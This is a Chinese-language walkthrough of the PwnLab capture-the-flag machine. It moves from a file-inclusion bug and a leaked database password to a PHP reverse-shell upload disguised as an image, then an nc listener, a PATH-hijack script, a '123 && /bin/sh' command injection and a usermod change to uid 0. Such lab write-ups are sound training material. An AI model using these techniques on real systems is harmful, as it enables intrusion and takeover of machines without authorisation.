上来只有一个登录页面
端口扫描除了一个3306,别的也没有找到什么有用的线索
然后用nikto -h http://192.168.133.218
扫一下隐藏或配置错误的目录或文件,发现一个config.php
,估计里面有内容
打开网站,几个功能点http://192.168.133.218/?page=login
,发现这个地方可能存在文件包含
貌似远程文件包含,本地文件包含都不好用,看下源码能不能读出来php://filter/read=convert.base64-encode/resource=index
,这个地方有第一个坑,不能加php后缀
然后能去把文件的源码都读出来,让后使用echo "****" |base64 -d
- index.php
PwnLab Intranet Image Hosting
[ Home ] [ Login ] [ Upload ]
- login.php
prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass);
$stmt->execute();
$stmt->store_Result();
if ($stmt->num_rows == 1)
{
$_SESSION['user'] = $luser;
header('Location: ?page=upload');
}
else
{
echo "Login failed.";
}
}
else
{
?>
-config.php
- upload.php
1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "
";
} else {
die('Error 4');
}
}
}
?>
然后我们拿到了数据库的root权限,然后本地连上去
mysql -uroot -pH4u%QJ_H99 -h192.168.133.218
然后查表,拿数据,密码是base64加密的
然后,拿到用户名密码,回去登录一下,登录成功之后,默认跳转到upload
页面
分析上面的代码,我们可以得知是白名单,并且校验后缀名
这个时候我们传一个webshell上去,然后再用index的文件包含来执行这个webshell,然后需要将后缀名改成白名单里的后缀之一就行
webshell路径/usr/share/webshells/php/php-reverse-shell.php
传上去之后,右键复制图像地址,即可得到webshell名,然后我们去构造index.php,让他去调用webshell,分析源码,我们可知,只需要在cookie
里面加上lang=../upload/webshell.gif
即可完成调用,与此同时,需要在kali上开一个窗口监听webshell的链接nc -lvp 1234
然后顺手开一个伪终端python -c 'import pty;pty.spawn("/bin/bash");'
发现自己是一个www-data
权限,这个时候就把前面的几个用户名密码给用上了
直接su
用户,最后发现只有kent,kane
能登陆上去,其中kent
还是个空用户,妹的耍我,
然后发现kane用户家目录下有一个可执行文件
执行发现报错
看起来该程序的作者试图在cat不提供完整路径的情况下运行了命令…我在运行Bash程序cat的/tmp目录中创建了一个文件shell,并将其添加到$PATH环境变量的开头,系统先cat在/tmp目录中查找二进制文件,并将执行我们的shell…
echo /bin/bash > cat
chmod 777 cat
export PATH=./:$PATH
执行脚本,然后会切换到mike
用户下
切换到mike
用户家目录下,发现有msg2root,执行发现也是报错....
然后想着去提权到真正的root权限
然后考虑执行123 && /bin/sh
,获取权限
然后看到是root伪权限了
real user ID (uid): 实际用户ID,指的是进程执行者是谁
effective user ID (euid): 有效用户ID,指进程执行时对文件的访问权限
saved set-user-ID (saved uid): 保存设置用户ID。是进程刚开始执行时,euid的副本。在执行exec调用之后能重新恢复原来的effectiv user ID.
然后使用/usr/sbin/usermod -u 0 -o kent
修改用户suid,直接到root权限